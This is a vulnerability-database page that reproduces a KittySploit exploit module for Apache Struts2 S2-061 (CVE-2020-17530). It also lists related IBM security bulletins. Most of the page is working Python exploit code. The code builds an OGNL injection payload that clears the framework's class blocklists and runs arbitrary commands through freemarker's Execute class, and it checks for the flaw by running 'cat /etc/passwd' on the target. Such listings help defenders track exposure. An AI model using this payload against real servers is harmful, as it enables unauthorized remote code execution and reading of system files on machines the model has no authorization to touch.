Lucene search
+L

Apache Struts2 S2-061 RCE (CVE-2020-17530)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Forced OGNL evaluation in tag attributes in Apache Struts 2 yields remote command execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: Order Management could be subject to an Apache Struts vulnerability that could allow a remote attacker to execute arbitrary code on the system.
12 Apr 202417:44
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts framework affects IBM Spectrum Symphony
19 Mar 202109:21
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities is affecting Tivoli Netcool/OMNIbus WebGUI (CVE-2021-20336, CVE-2020-17530)
22 Mar 202113:06
–ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below)
14 Sep 202217:37
–ibm
ibm
IBM Security Bulletins
Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202208:00
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects IBM Tivoli Application Dependency Discovery Manager (CVE-2020-17530)
13 Apr 202212:25
–ibm
ibm
IBM Security Bulletins
Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202208:03
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in Apache Struts Affect IBM eDiscovery Manager
12 Jul 202310:00
–ibm
ibm
IBM Security Bulletins
Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202208:01
–ibm
ibm
IBM Security Bulletins
Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202207:30
–ibm
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-061 forced OGNL RCE (CVE-2020-17530)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Struts2 S2-061 RCE (CVE-2020-17530)',
        'description': (
            'Exploits CVE-2020-17530 (S2-061) in Apache Struts 2.0.0–2.5.25: forced OGNL '
            'evaluation in tag attributes yields remote command execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-17530'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-17530'],
        'tags': ['struts', 'apache', 'ognl', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2020_17530_detect']},
        },
    }

    target_param = OptString('id', 'Query parameter name to inject', required=False, advanced=True)

    def _ognl(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        return (
            '%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).'
            '(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).'
            '(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).'
            '(#bean.setBean(#stack)).(#context=#bean.get("context")).'
            '(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).'
            '(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).'
            '(#bean.put("excludedClasses",#emptyset)).'
            '(#bean.put("excludedPackageNames",#emptyset)).'
            '(#arglist=#instancemanager.newInstance("java.util.ArrayList")).'
            f'(#arglist.add("{safe}")).'
            '(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).'
            '(#execute.exec(#arglist))}'
        )

    def execute(self, cmd: str) -> str:
        param = str(self.target_param or 'id')
        ognl = urllib.parse.quote(self._ognl(cmd), safe='')
        r = self.http_request(method='GET', path=f'/?{param}={ognl}', allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2020-17530 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Struts S2-061 failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8High risk
Vulners AI Score8
CVSS 27.5
CVSS 3.19.8
EPSS0.95931
SSVC
1